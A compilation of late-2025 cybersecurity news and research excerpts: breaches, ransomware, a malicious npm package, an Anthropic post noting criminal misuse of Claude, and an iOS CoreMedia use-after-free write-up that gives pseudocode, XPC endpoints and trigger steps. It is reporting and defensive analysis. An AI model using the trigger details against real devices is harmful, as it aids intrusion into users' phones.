bleepingcomputer.com By Lawrence Abrams
October 2, 2025 02:15 AM 0
An extortion group calling itself the Crimson Collective claims to have breached Red Hat's private GitHub repositories, stealing nearly 570GB of compressed data across 28,000 internal projects.
An extortion group calling itself the Crimson Collective claims to have breached Red Hat's private GitHub repositories, stealing nearly 570GB of compressed data across 28,000 internal projects.
This data allegedly includes approximately 800 Customer Engagement Reports (CERs), which can contain sensitive information about a customer's network and platforms.
A CER is a consulting document prepared for clients that often contains infrastructure details, configuration data, authentication tokens, and other information that could be abused to breach customer networks.
Red Hat confirmed that it suffered a security incident related to its consulting business, but would not verify any of the attacker's claims regarding the stolen GitHub repositories and customer CERs.
"Red Hat is aware of reports regarding a security incident related to our consulting business and we have initiated necessary remediation steps," Red Hat told BleepingComputer.
"The security and integrity of our systems and the data entrusted to us are our highest priority. At this time, we have no reason to believe the security issue impacts any of our other Red Hat services or products and are highly confident in the integrity of our software supply chain."
While Red Hat did not respond to any further questions about the breach, the hackers told BleepingComputer that the intrusion occurred approximately two weeks ago.
They allegedly found authentication tokens, full database URIs, and other private information in Red Hat code and CERs, which they claimed to use to gain access to downstream customer infrastructure.
The hacking group also published a complete directory listing of the allegedly stolen GitHub repositories and a list of CERs from 2020 through 2025 on Telegram.
The directory listing of CERs include a wide range of sectors and well known organizations such as Bank of America, T-Mobile, AT&T, Fidelity, Kaiser, Mayo Clinic, Walmart, Costco, the U.S. Navy’s Naval Surface Warfare Center, Federal Aviation Administration, the House of Representatives, and many others.
The hackers stated that they attempted to contact Red Hat with an extortion demand but received no response other than a templated reply instructing them to submit a vulnerability report to their security team.
According to them, the created ticket was repeatedly assigned to additional people, including Red Hat's legal and security staff members.
BleepingComputer sent Red Hat additional questions, and we will update this story if we receive more information.
The same group also claimed responsibility for briefly defacing Nintendo’s topic page last week to include contact information and links to their Telegram channel
Message officiel – Bugnard SA bugnard.ch
Chers clients, chers partenaires,
Le 24 septembre 2025 en fin de journée, nous avons détecté une intrusion dans l'infrastructure informatique de Bugnard SA par le ransomware Akira. Cette attaque a affecté nos serveurs ainsi que notre site internet.
Par mesure de sécurité, nous avons immédiatement interrompu l’accès à la plateforme afin de protéger l’intégrité de vos données et de nos systèmes.
Notre équipe informatique est mobilisée sur place et travaille avec la plus haute priorité pour rétablir la situation. Si nécessaire, nous restaurerons notre dernier backup afin de remettre le site en service dans les plus brefs délais.
À ce stade, nous estimons que la remise en ligne pourra intervenir entre mercredi et vendredi de cette semaine.
Nous sommes pleinement conscients que 72% de notre activité passe par notre site et faisons tout pour que vous puissiez à nouveau passer vos commandes rapidement et en toute sécurité.
En attendant, notre équipe commerciale reste à votre disposition par téléphone et par e-mail pour répondre à vos besoins urgents.
Nous vous tiendrons informés de l’évolution de la situation et vous remercions pour votre compréhension et votre confiance.
Avec mes salutations les meilleures,
Christian Degouy
CEO
Cybersecurity workers can also start creating their own Security Copilot AI agents.
Microsoft is launching a Security Store that will be full of security software-as-a-service (SaaS) solutions and AI agents. It’s part of a broader effort to sell Microsoft’s Sentinel security platform to businesses, complete with Microsoft Security Copilot AI agents that can be built by security teams to help tackle the latest threats.
The Microsoft Security Store is a storefront designed for security professionals to buy and deploy SaaS solutions and AI agents from Microsoft’s ecosystem partners. Darktrace, Illumio, Netskope, Perfomanta, and Tanium are all part of the new store, with solutions covering threat protection, identity and device management, and more.
A lot of the solutions will integrate with Microsoft Defender, Sentinel, Entra, Purview, or Security Copilot, making them quick to onboard for businesses that are fully reliant on Microsoft for their security needs. This should cut down on procurement and onboarding times, too.
Alongside the Security Store, Microsoft is also allowing Security Copilot users to build their own AI agents. Microsoft launched some of its own security AI agents earlier this year, and now security teams can use a tool that’s similar to Copilot Studio to build their own. You simply create an AI agent through a set of prompts and then publish them all with no code required. These Security Copilot agents will also be available in the Security Store today.
nytimes.com
By Chris Buckley and Adam Goldman
Sept. 28, 2025
Fears of U.S. surveillance drove Xi Jinping, China’s leader, to elevate the agency and put it at the center of his cyber ambitions.
American officials were alarmed in 2023 when they discovered that Chinese state-controlled hackers had infiltrated critical U.S. infrastructure with malicious code that could wreck power grids, communications systems and water supplies. The threat was serious enough that William J. Burns, the director of the C.I.A., made a secret trip to Beijing to confront his Chinese counterpart.
He warned China’s minister of state security that there would be “serious consequences” for Beijing if it unleashed the malware. The tone of the meeting, details of which have not been previously reported, was professional and it appeared the message was delivered.
But since that meeting, which was described by two former U.S. officials, China’s intrusions have only escalated. (The former officials spoke on the condition of anonymity because they were not authorized to speak publicly about the sensitive meeting.)
American and European officials say China’s Ministry of State Security, the civilian spy agency often called the M.S.S., in particular, has emerged as the driving force behind China’s most sophisticated cyber operations.
In recent disclosures, officials revealed another immense, yearslong intrusion by hackers who have been collectively called Salt Typhoon, one that may have stolen information about nearly every American and targeted dozens of other countries. Some countries hit by Salt Typhoon warned in an unusual statement that the data stolen could provide Chinese intelligence services with the capability to “identify and track their targets’ communications and movements around the world.”
The attack underscored how the Ministry of State Security has evolved into a formidable cyberespionage agency capable of audacious operations that can evade detection for years, experts said.
For decades, China has used for-hire hackers to break into computer networks and systems. These operatives sometimes mixed espionage with commercial data theft or were sloppy, exposing their presence. In the recent operation by Salt Typhoon, however, intruders linked to the M.S.S. found weaknesses in systems, burrowed into networks, spirited out data, hopped between compromised systems and erased traces of their presence.
“Salt Typhoon shows a highly skilled and strategic side to M.S.S. cyber operations that has been missed with the attention on lower-quality contract hackers,” said Alex Joske, the author of a book on the ministry.
For Washington, the implication of China’s growing capability is clear: In a future conflict, China could put U.S. communications, power and infrastructure at risk.
China’s biggest hacking campaigns have been “strategic operations” intended to intimidate and deter rivals, said Nigel Inkster, a senior adviser for cybersecurity and China at the International Institute for Strategic Studies in London.
“If they succeed in remaining on these networks undiscovered, that potentially gives them a significant advantage in the event of a crisis,” said Mr. Inkster, formerly director of operations and intelligence in the British Secret Intelligence Service, MI6. “If their presence is — as it has been — discovered, it still exercises a very significant deterrent effect; as in, ‘Look what we could do to you if we wanted.’”
The Rise of the M.S.S.
China’s cyber advances reflect decades of investment to try to match, and eventually rival, the U.S. National Security Agency and Britain’s Government Communications Headquarters, or GCHQ.
China’s leaders founded the Ministry of State Security in 1983 mainly to track dissidents and perceived foes of Communist Party rule. The ministry engaged in online espionage but was long overshadowed by the Chinese military, which ran extensive cyberspying operations.
After taking power as China’s top leader in 2012, Xi Jinping moved quickly to reshape the M.S.S. He seemed unsettled by the threat of U.S. surveillance to China’s security, and in a 2013 speech pointed to the revelations of Edward J. Snowden, the former U.S. intelligence contractor.
Mr. Xi purged the ministry of senior officials accused of corruption and disloyalty. He reined in the hacking role of the Chinese military, elevating the ministry as the country’s primary cyberespionage agency. He put national security at the core of his agenda with new laws and by establishing a new commission.
“At this same time, the intelligence requirements imposed on the security apparatus start to multiply, because Xi wanted to do more things abroad and at home,” said Matthew Brazil, a senior analyst at BluePath Labs who has co-written a history of China’s espionage services.
Since around 2015, the M.S.S. has moved to bring its far-flung provincial offices under tighter central control, said experts. Chen Yixin, the current minister, has demanded that local state security offices follow Beijing’s orders without delay. Security officials, he said on a recent inspection of the northeast, must be both “red and expert” — absolutely loyal to the party while also adept in technology.
“It all essentially means that the Ministry of State Security now sits atop a system in which it can move its pieces all around the chessboard,” said Edward Schwarck, a researcher at the University of Oxford who is writing a dissertation on China’s state security.
Mr. Chen was the official who met with Mr. Burns in May 2023. He gave nothing away when confronted with the details of the cyber campaign, telling Mr. Burns he would let his superiors know about the U.S. concerns, the former officials said.
The Architect of China’s Cyber Power
The Ministry of State Security operates largely in the shadows, its officials rarely seen or named in public. There was one exception: Wu Shizhong, who was a senior official in Bureau 13, the “technical reconnaissance” arm of the ministry.
Mr. Wu was unusually visible, turning up at meetings and conferences in his other role as director of the China Information Technology Security Evaluation Center. Officially, the center vets digital software and hardware for security vulnerabilities before it can be used in China. Unofficially, foreign officials and experts say, the center comes under the control of the M.S.S. and provided a direct pipeline of information about vulnerabilities and hacking talent.
Mr. Wu has not publicly said he served in the security ministry, but a Chinese university website in 2005 described him as a state security bureau head in a notice about a meeting, and investigations by Crowd Strike and other cybersecurity firms have also described his state security role.
“Wu Shizhong is widely recognized as a leading figure in the creation of M.S.S. cyber capabilities,” said Mr. Joske.
In 2013, Mr. Wu pointed to two lessons for China: Mr. Snowden’s disclosures about American surveillance and the use by the United States of a virus to sabotage Iran’s nuclear facilities. “The core of cyber offense and defense capabilities is technical prowess,” he said, stressing the need to control technologies and exploit their weaknesses. China, he added, should create “a national cyber offense and defense apparatus.”
China’s commercial tech sector boomed in the years that followed, and state security officials learned how to put domestic companies and contractors to work, spotting and exploiting flaws and weak spots in computer systems, several cybersecurity experts said. The U.S. National Security Agency has also hoarded knowledge of software flaws for its own use. But China has an added advantage: It can tap its own tech companies to feed information to the state.
“M.S.S. was successful at improving the talent pipeline and the volume of good offensive hackers they could contract to,” said Dakota Cary, a researcher who focuses on China’s efforts to develop its hacking capabilities at SentinelOne. “This gives them a significant pipeline for offensive tools.”
The Chinese government also imposed rules requiring that any newly found software vulnerabilities be reported first to a database that analysts say is operated by the M.S.S., giving security officials early access. Other policies reward tech firms with payments if they meet monthly quotas of finding flaws in computer systems and submitting them to the state security-controlled database.
“It’s a prestige thing and it’s good for a company’s reputation,” Mei Danowski, the co-founder of Natto Thoughts, a company that advises clients on cyber threats, said of the arrangement. “These business people don’t feel like they are doing something wrong. They feel like they are doing something for their country.”
The Wall Street Journal
By
Dominic Chopping
Follow
Updated Sept. 29, 2025 6:39 am ET
Jaguar Land Rover discovered a cyberattack late last month, forcing the company to shut down its computer systems and halt production.
Jaguar Land Rover will restart some sections of its manufacturing operations in the coming days, as it begins its recovery from a cyberattack that has crippled production for around a month.
“As the controlled, phased restart of our operations continues, we are taking further steps towards our recovery and the return to manufacture of our world‑class vehicles,” the company said in a statement Monday.
The news comes a day after the U.K. government stepped in to provide financial support for the company, underwriting a 1.5 billion-pound ($2.01 billion) loan guarantee in a bid to support the company’s cash reserves and help it pay suppliers.
The loan will be provided by a commercial bank and is backed by the government’s export credit agency. It will be paid back over five years.
“Jaguar Land Rover is an iconic British company which employs tens of thousands of people,” U.K. Treasury Chief Rachel Reeves said in a statement Sunday.
“Today we are protecting thousands of those jobs with up to 1.5 billion pounds in additional private finance, helping them support their supply chain and protect a vital part of the British car industry,” she added.
The U.K. automaker, owned by India’s Tata Motors, discovered a cyberattack late last month, forcing the company to shut down its computer systems and halt production.
The company behind Land Rover, Jaguar and Range Rover models, has been forced to repeatedly extend the production shutdown over the past few weeks as it races to restart systems safely with the help of cybersecurity experts flown in from around the globe, the U.K.’s National Cyber Security Centre and law enforcement.
Last week, the company began a gradual restart of its operations, bringing some IT systems back online. It has informed suppliers and retail partners that sections of its digital network is back up and running, and processing capacity for invoicing has been increased as it works to quickly clear the backlog of payments to suppliers.
JLR has U.K. plants in Solihull and Wolverhampton in the West Midlands, in addition to Halewood in Merseyside. It is one of the U.K.’s largest exporters and a major employer, employing 34,000 directly in its U.K. operations. It also operates the largest supply chain in the U.K. automotive sector, much of it made up of small- and medium-sized enterprises, and employing around 120,000 people, according to the government.
Labor unions had warned that thousands of jobs in the JLR supply chain were at risk due to the disruption and had urged the government to step in with a furlough plan to support them.
U.K. trade union Unite, which represents thousands of workers employed at JLR and throughout its supply chain, said the government’s loan guarantee is an important first step.
“The money provided must now be used to ensure job guarantees and to also protect skills and pay in JLR and its supply chain,” Unite general secretary Sharon Graham said in a statement.
red.anthropic.com September 29, 2025 ANTHROPIC
AI models are now useful for cybersecurity tasks in practice, not just theory. As research and experience demonstrated the utility of frontier AI as a tool for cyber attackers, we invested in improving Claude’s ability to help defenders detect, analyze, and remediate vulnerabilities in code and deployed systems. This work allowed Claude Sonnet 4.5 to match or eclipse Opus 4.1, our frontier model released only two months prior, in discovering code vulnerabilities and other cyber skills. Adopting and experimenting with AI will be key for defenders to keep pace.
We believe we are now at an inflection point for AI’s impact on cybersecurity.
For several years, our team has carefully tracked the cybersecurity-relevant capabilities of AI models. Initially, we found models to be not particularly powerful for advanced and meaningful capabilities. However, over the past year or so, we’ve noticed a shift. For example:
We showed that models could reproduce one of the costliest cyberattacks in history—the 2017 Equifax breach—in simulation.
We entered Claude into cybersecurity competitions, and it outperformed human teams in some cases.
Claude has helped us discover vulnerabilities in our own code and fix them before release.
In this summer’s DARPA AI Cyber Challenge, teams used LLMs (including Claude) to build “cyber reasoning systems” that examined millions of lines of code for vulnerabilities to patch. In addition to inserted vulnerabilities, teams found (and sometimes patched) previously undiscovered, non-synthetic vulnerabilities. Beyond a competition setting, other frontier labs now apply models to discover and report novel vulnerabilities.
At the same time, as part of our Safeguards work, we have found and disrupted threat actors on our own platform who leveraged AI to scale their operations. Our Safeguards team recently discovered (and disrupted) a case of “vibe hacking,” in which a cybercriminal used Claude to build a large-scale data extortion scheme that previously would have required an entire team of people. Safeguards has also detected and countered Claude's use in increasingly complex espionage operations, including the targeting of critical telecommunications infrastructure, by an actor that demonstrated characteristics consistent with Chinese APT operations.
All of these lines of evidence lead us to think we are at an important inflection point in the cyber ecosystem, and progress from here could become quite fast or usage could grow quite quickly.
Therefore, now is an important moment to accelerate defensive use of AI to secure code and infrastructure. We should not cede the cyber advantage derived from AI to attackers and criminals. While we will continue to invest in detecting and disrupting malicious attackers, we think the most scalable solution is to build AI systems that empower those safeguarding our digital environments—like security teams protecting businesses and governments, cybersecurity researchers, and maintainers of critical open-source software.
In the run-up to the release of Claude Sonnet 4.5, we started to do just that.
Claude Sonnet 4.5: emphasizing cyber skills
As LLMs scale in size, “emergent abilities”—skills that were not evident in smaller models and were not necessarily an explicit target of model training—appear. Indeed, Claude’s abilities to execute cybersecurity tasks like finding and exploiting software vulnerabilities in Capture-the-Flag (CTF) challenges have been byproducts of developing generally useful AI assistants.
But we don’t want to rely on general model progress alone to better equip defenders. Because of the urgency of this moment in the evolution of AI and cybersecurity, we dedicated researchers to making Claude better at key skills like code vulnerability discovery and patching.
The results of this work are reflected in Claude Sonnet 4.5. It is comparable or superior to Claude Opus 4.1 in many aspects of cybersecurity while also being less expensive and faster.
Evidence from evaluations
In building Sonnet 4.5, we had a small research team focus on enhancing Claude’s ability to find vulnerabilities in codebases, patch them, and test for weaknesses in simulated deployed security infrastructure. We chose these because they reflect important tasks for defensive actors. We deliberately avoided enhancements that clearly favor offensive work—such as advanced exploitation or writing malware. We hope to enable models to find insecure code before deployment and to find and fix vulnerabilities in deployed code. There are, of course, many more critical security tasks we did not focus on; at the end of this post, we elaborate on future directions.
To test the effects of our research, we ran industry-standard evaluations of our models. These enable clear comparisons across models, measure the speed of AI progress, and—especially in the case of novel, externally developed evaluations—provide a good metric to ensure that we are not simply teaching to our own tests.
As we ran these evaluations, one thing that stood out was the importance of running them many times. Even if it is computationally expensive for a large set of evaluation tasks, it better captures the behavior of a motivated attacker or defender on any particular real-world problem. Doing so reveals impressive performance not only from Claude Sonnet 4.5, but also from models several generations older.
Cybench
One of the evaluations we have tracked for over a year is Cybench, a benchmark drawn from CTF competition challenges.[1] On this evaluation, we see striking improvement from Claude Sonnet 4.5, not just over Claude Sonnet 4, but even over Claude Opus 4 and 4.1 models. Perhaps most striking, Sonnet 4.5 achieves a higher probability of success given one attempt per task than Opus 4.1 when given ten attempts per task. The challenges that are part of this evaluation reflect somewhat complex, long-duration workflows. For example, one challenge involved analyzing network traffic, extracting malware from that traffic, and decompiling and decrypting the malware. We estimate that this would have taken a skilled human at least an hour, and possibly much longer; Claude took 38 minutes to solve it.
When we give Claude Sonnet 4.5 ten attempts at the Cybench evaluation, it succeeds on 76.5% of the challenges. This is particularly noteworthy because we have doubled this success rate in just the past six months (Sonnet 3.7, released in February 2025, had only a 35.9% success rate when given ten trials).
Figure 1: Model Performance on Cybench—Claude Sonnet 4.5 significantly outperforms all previous models given k=1, 10, or 30 trials, where probability of success is measured as the expectation over the proportion of problems where at least one of k trials succeeds. Note that these results are on a subset of 37 of the 40 original Cybench problems, where 3 problems were excluded due to implementation difficulties.
CyberGym
In another external evaluation, we evaluated Claude Sonnet 4.5 on CyberGym, a benchmark that evaluates the ability of agents to (1) find (previously-discovered) vulnerabilities in real open-source software projects given a high-level description of the weakness, and (2) discover new (previously-undiscovered) vulnerabilities.[2] The CyberGym team previously found that Claude Sonnet 4 was the strongest model on their public leaderboard.
Claude Sonnet 4.5 scores significantly better than either Claude Sonnet 4 or Claude Opus 4. When using the same cost constraints as the public CyberGym leaderboard (i.e., a limit of $2 of API queries per vulnerability) we find that Sonnet 4.5 achieves a new state-of-the-art score of 28.9%. But true attackers are rarely limited in this way: they can attempt many attacks, for far more than $2 per trial. When we remove these constraints and give Claude 30 trials per task, we find that Sonnet 4.5 reproduces vulnerabilities in 66.7% of programs. And although the relative price of this approach is higher, the absolute cost—about $45 to try one task 30 times—remains quite low.
Figure 2: Model Performance on CyberGym—Sonnet 4.5 outperforms all previous models, including Opus 4.1.
*Note that Opus 4.1, given its higher price, did not follow the same $2 cost constraint as the other models in the one-trial scenario.
Equally interesting is the rate at which Claude Sonnet 4.5 discovers new vulnerabilities. While the CyberGym leaderboard shows that Claude Sonnet 4 only discovers vulnerabilities in about 2% of targets, Sonnet 4.5 discovers new vulnerabilities in 5% of cases. By repeating the trial 30 times it discovers new vulnerabilities in over 33% of projects.
Figure 3: Model Performance on CyberGym—Sonnet 4.5 outperforms Sonnet 4 at new vulnerablity discovery with only one trial and dramatically outstrips its performance when given 30 trials.
Further research into patching
We are also conducting preliminary research into Claude's ability to generate and review patches that fix vulnerabilities. Patching vulnerabilities is a harder task than finding them because the model has to make surgical changes that remove the vulnerability without altering the original functionality. Without guidance or specifications, the model has to infer this intended functionality from the code base.
In our experiment we tasked Claude Sonnet 4.5 with patching vulnerabilities in the CyberGym evaluation set based on a description of the vulnerability and information about what the program was doing when it crashed. We used Claude to judge its own work, asking it to grade the submitted patches by comparing them to human-authored reference patches. 15% of the Claude-generated patches were judged to be semantically equivalent to the human-generated patches. However, this comparison-based approach has an important limitation: because vulnerabilities can often be fixed in multiple valid ways, patches that differ from the reference may still be correct, leading to false negatives in our evaluation.
We manually analyzed a sample of the highest-scoring patches and found them to be functionally identical to reference patches that have been merged into the open-source software on which the CyberGym evaluation is based. This work reveals a pattern consistent with our broader findings: Claude develops cyber-related skills as it generally improves. Our preliminary results suggest that patch generation—like vulnerability discovery before it—is an emergent capability that could be enhanced with focused research. Our next step is to systematically address the challenges we've identified to make Claude a reliable patch author and reviewer.
Conferring with trusted partners
Real world defensive security is more complicated in practice than our evaluations can capture. We’ve consistently found that real problems are more complex, challenges are harder, and implementation details matter a lot. Therefore, we feel it is important to work with the organizations actually using AI for defense to get feedback on how our research could accelerate them. In the lead-up to Sonnet 4.5 we worked with a number of organizations who applied the model to their real challenges in areas like vulnerability remediation, testing network security, and threat analysis.
Nidhi Aggarwal, Chief Product Officer of HackerOne, said, “Claude Sonnet 4.5 reduced average vulnerability intake time for our Hai security agents by 44% while improving accuracy by 25%, helping us reduce risk for businesses with confidence.” According to Sven Krasser, Senior Vice President for Data Science and Chief Scientist at CrowdStrike, “Claude shows strong promise for red teaming—generating creative attack scenarios that accelerate how we study attacker tradecraft. These insights strengthen our defenses across endpoints, identity, cloud, data, SaaS, and AI workloads.”
These testimonials made us more confident in the potential for applied, defensive work with Claude.
What’s next?
Claude Sonnet 4.5 represents a meaningful improvement, but we know that many of its capabilities are nascent and do not yet match those of security professionals and established processes. We will keep working to improve the defense-relevant capabilities of our models and enhance the threat intelligence and mitigations that safeguard our platforms. In fact, we have already been using results of our investigations and evaluations to continually refine our ability to catch misuse of our models for harmful cyber behavior. This includes using techniques like organization-level summarization to understand the bigger picture beyond just a singular prompt and completion; this helps disaggregate dual-use behavior from nefarious behavior, particularly for the most damaging use-cases involving large scale automated activity.
But we believe that now is the time for as many organizations as possible to start experimenting with how AI can improve their security posture and build the evaluations to assess those gains. Automated security reviews in Claude Code show how AI can be integrated into the CI/CD pipeline. We would specifically like to enable researchers and teams to experiment with applying models in areas like Security Operations Center (SOC) automation, Security Information and Event Management (SIEM) analysis, secure network engineering, or active defense. We would like to see and use more evaluations for defensive capabilities as part of the growing third-party ecosystem for model evaluations.
But even building and adopting to advantage defenders is only part of the solution. We also need conversations about making digital infrastructure more resilient and new software secure by design—including with help from frontier AI models. We look forward to these discussions with industry, government, and civil society as we navigate the moment when AI’s impact on cybersecurity transitions from being a future concern to a present-day imperative.
Alert: A malicious npm package named 'postmark-mcp' was impersonating Postmark to steal user emails. Postmark is not affiliated with this fraudulent package.
We recently became aware of a malicious npm package called "postmark-mcp" on npm that was impersonating Postmark and stealing user emails. We want to be crystal clear: Postmark had absolutely nothing to do with this package or the malicious activity.
Here's what happened: A malicious actor created a fake package on npm impersonating our name, built trust over 15 versions, then added a backdoor in version 1.0.16 that secretly BCC’d emails to an external server.
What you should know:
This is not an official Postmark tool. We have not published our Postmark MCP server on npm prior to this incident
We didn't develop, authorize, or have any involvement with the "postmark-mcp" npm package
The legitimate Postmark API and services remain secure and unaffected by this incident
If you've used this fake package:
Remove it immediately from your systems
Check your email logs for any suspicious activity
Consider rotating any credentials that may have been sent via email during the compromise period
This situation highlights why we take our API security and developer trust so seriously. When you integrate with Postmark, you're working directly with our official, documented APIs—not third-party packages that claim to represent us. If you are not sure what official resources are available, you can find them via the links below, which are always available to our customers:
Our official resources:
Official Postmark MCP - Github
API documentation
Official libraries and SDKs
Support channels or email security@activecampaign.com if you have questions
github.com/b1n4r1b01
This vulnerability has been labeled under the title CoreMedia, which is a gigantic sub-system on Apple platforms. CoreMedia includes multiple public and private frameworks in the shared cache including CoreMedia.framework, AVFoundation.framework, MediaToolbox.framework, etc. All of these work hand in hand and provide users with multiple low level IPC endpoints and high level APIs. There are tons of vulnerabilities labeled as CoreMedia listed on Apple's security advisory website and these vulnerabilities range from sensitive file access to metadata corruption in media files. In fact, iOS 18.3, where this bug was patched lists 3 CVEs under the CoreMedia label but only this one is labeled as an UAF issue so we can use that as a starting point for our research.
After a lot of diffing, I found that this specific vulnerability lies in the Remaker sub-system of MediaToolbox.framework. The vulnerability lies in the improper handling of FigRemakerTrack object.
remaker_AddVideoCompositionTrack(FigRemaker, ..., ...)
{
// Allocates FigRemakerTrack (alias channel)
ret = remakerFamily_createChannel(FigRemaker, 0, 'vide', &FigRemakerTrack);
...
// Links FigRemakerTrack to FigRemaker
ret = remakerFamily_finishVideoCompositionChannel(FigRemaker, ..., ...);
if (ret){
// Failure path, means FigRemakerTrack is not linked to FigRemaker
goto exit;
}
else{
// Success path, means FigRemakerTrack is linked to FigRemaker
...
ret = URLAsset->URLAssetCopyTrackByID(URLAsset, user_controlled_trackID, &outTrack);
if (ret){
// Failure path, if we can make URLAssetCopyTrackByID fail we never zero out FigRemakerTrack
goto exit; // <-- buggy route
}
else{
// Success path
FigWriter->FigWriter_SetTrackProperty(FigWriter, FigRemakerTrack.someTrackID, "MediaTimeScale", value);
FigRemakerTrack = 0;
goto exit;
}
}
exit:
// This function will call CFRelease on the FigRemakerTrack
remakerFamily_discardChannel(FigRemaker, FigRemakerTrack);
...}
By providing an OOB user_controlled_trackID we can force the control flow to take the buggy route where we free the FigRemakerTrack object while FigRemaker still holds a reference to it.
Reaching the vulnerable code
Reaching this vulnerable code was quite tricky, as you need to deal with multiple XPC endpoints. In my original POC I had to use 6 XPC endpoints which were com.apple.coremedia.mediaplaybackd.mutablecomposition.xpc, com.apple.coremedia.mediaplaybackd.sandboxserver.xpc, com.apple.coremedia.mediaplaybackd.customurlloader.xpc, com.apple.coremedia.mediaplaybackd.asset, com.apple.coremedia.mediaplaybackd.remaker.xpc, com.apple.coremedia.mediaplaybackd.formatreader.xpc to trigger the bug but in my final poc I boiled them down to just 3 endpoints. Since I'm not using low level XPC to communicate with the endpoint, this poc would only work on iOS 18 version, my tests were specifically done on iOS 18.2.
To reach this path you need to:
Create a Remaker object
Enqueue the buggy AddVideoComposition request
Start processing the request (this should free the FigRemakerTrack)
???
Profit?
Impact
This bug lets you get code execution in mediaplaybackd. In the provided poc, I am simply double free'ing the FigRemakerTrack by first free'ing it with the bug and then closing the XPC connection to trigger cleanup of the FigRemaker object and thus crashing. Exploiting this kind of CoreFoundation UAF has been made hard since iOS 18 due to changes in the CoreFoundation allocator. But exploiting this bug on iOS 17 should be manageable due to a weaker malloc type implementation, I was very reliably able to place fake objects after the first free on iOS 17.
In-The-Wild angle
If you look at this bug's advisory you can find that Apple clearly says that this bug was a part of some iOS chain: "Apple is aware of a report that this issue may have been actively exploited against versions of iOS before iOS 17.2.". Now the weird part is you don't see the exploited against versions of iOS before iOS XX.X line very often in security updates, if we look around CVEs from those days we see a WebKit -> UIProcess (I guess?) bug CVE-2025-24201 with very similar impact description "This is a supplementary fix for an attack that was blocked in iOS 17.2. (Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 17.2.)" And if we go back to iOS 17.2/17.3 we see couple of CVEs which look like some chain all labeled as actively exploited and not designated to any 3rd party like Google TAG or any human rights security lab. Now I believe this mediaplaybackd sandbox escape was a 2nd stage sandbox escape in an iOS ITW chain. Here's what my speculated iOS 17 chain looks like (could be totally wrong but we'll probably never know):
WebKit (CVE-2024-23222)
↓
UIProc sbx (CVE-2025-24201)
↓
mediaplaybackd sbx (CVE-2025-24085)
↓
Kernel ???
↓
PAC?/PPL (CVE-2024-23225 / CVE-2024-23296)
Question is: how many pivots are too many pivots? :P
The DFIR Report - thedfirreport.com/2025/09/29 September 29, 2025
Key Takeaways
The intrusion began with a Lunar Spider linked JavaScript file disguised as a tax form that downloaded and executed Brute Ratel via a MSI installer.
Multiple types of malware were deployed across the intrusion, including Latrodectus, Brute Ratel C4, Cobalt Strike, BackConnect, and a custom .NET backdoor.
Credentials were harvested from several sources like LSASS, backup software, and browsers, and also a Windows Answer file used for automated provisioning.
Twenty days into the intrusion data was exfiltrated using Rclone and FTP.
Threat actor activity persisted for nearly two months with intermittent command and control (C2) connections, discovery, lateral movement, and data exfiltration.
This case was featured in our September 2025 DFIR Labs Forensics Challenge and is available as a lab today here for one time access or included in our new subscription plan. It was originally published as a Threat Brief to customers in Feb 2025
Case Summary
The intrusion took place in May 2024, when a user executed a malicious JavaScript file. This JavaScript file has been previously reported as associated with the Lunar Spider initial access group by EclecticIQ. The heavily obfuscated file, masquerading as a legitimate tax form, contained only a small amount of executable code dispersed among extensive filler content used for evasion. The JavaScript payload triggered the download of a MSI package, which deployed a Brute Ratel DLL file using rundll32.
The Brute Ratel loader subsequently injected Latrodectus malware into the explorer.exe process, and established command and control communications with multiple CloudFlare-proxied domains. The Latrodectus payload was then observed retrieving a stealer module. Around one hour after initial access, the threat actor began reconnaissance activities using built-in Windows commands for host and domain enumeration, including ipconfig, systeminfo, nltest, and whoami commands.
Approximately six hours after initial access, the threat actor established a BackConnect session, and initiated VNC-based remote access capabilities. This allowed them to browse the file system and upload additional malware to the beachhead host.
On day three, the threat actor discovered and accessed an unattend.xml Windows Answer file containing plaintext domain administrator credentials left over from an automated deployment process. This provided the threat actor with immediate high-privilege access to the domain environment.
On day four, the threat actor expanded their activity by deploying Cobalt Strike beacons. They escalated privileges using Windows’ Secondary Logon service and the runas command to authenticate as the domain admin account found the prior day. The threat actor then conducted extensive Active Directory reconnaissance using AdFind. Around an hour after this discovery activity they began lateral movement. They used PsExec to remotely deploy Cobalt Strike DLL beacons to several remote hosts including a domain controller as well as file and backup servers.
They then paused for around five hours. On their return, they deployed a custom .NET backdoor that created a scheduled task for persistence and setup an additional command and control channel. They also dropped another Cobalt Strike beacon that had a new command and control server. They then used a custom tool that used the Zerologon (CVE-2020-1472) vulnerability to attempt additional lateral movement to a second domain controller. After that they then tried to execute Metasploit laterally to that domain contoller via a remote service. However they were unable to establish a command and control channel from this action.
On day five, the threat actor returned using RDP to access a new server that they then dropped the newest Cobalt Strike beacon on. This was then followed by an RDP logon to a file share server where they also deployed Cobalt Strike. Around 12 hours after that they returned to the beachhead host and replaced the BruteRatel file used for persistence with a new BruteRatel badger DLL. After this there was a large gap before their next actions.
Fifteen days later, the 20th since initial access, the threat actor became active again. They deployed a set of scripts to execute a renamed rclone binary to exfiltrate the data from the file share server. This exfiltration used FTP to send data over a roughly 10 hour period to the threat actor’s remote host. After this concluded there was another pause in threat actor actions.
On the 26th day of the intrusion the threat actor returned to the backup server and used a PowerShell script to dump credentials from the backup server software. Two days later on the backup server they appeared again and dropped a network scanning tool, rustscan, which they used to scan subnets across the environment. After this hands on activity ceased again.
The threat actor maintained intermittent command and control access for nearly two months following initial compromise, leveraging BackConnect VNC capabilities and multiple payloads, including Latrodectus, Brute Ratel, and Cobalt Strike, before being evicted from the environment. Despite the extended dwell time and comprehensive access to critical infrastructure, no ransomware deployment was observed during this intrusion.
blog.nviso.eu Maxime Thiebaut Incident Response & Threat Researcher Expert within NVISO CSIRT 29.09.2025
NVISO has identified zero-day exploitation of CVE-2025-41244, a local privilege escalation vulnerability impacting VMware's guest service discovery features.
On September 29th, 2025, Broadcom disclosed a local privilege escalation vulnerability, CVE-2025-41244, impacting VMware’s guest service discovery features. NVISO has identified zero-day exploitation in the wild beginning mid-October 2024.
The vulnerability impacts both the VMware Tools and VMware Aria Operations. When successful, exploitation of the local privilege escalation results in unprivileged users achieving code execution in privileged contexts (e.g., root).
Throughout its incident response engagements, NVISO determined with confidence that UNC5174 triggered the local privilege escalation. We can however not assess whether this exploit was part of UNC5174’s capabilities or whether the zero-day’s usage was merely accidental due to its trivialness. UNC5174, a Chinese state-sponsored threat actor, has repeatedly been linked to initial access operations achieved through public exploitation.
Background
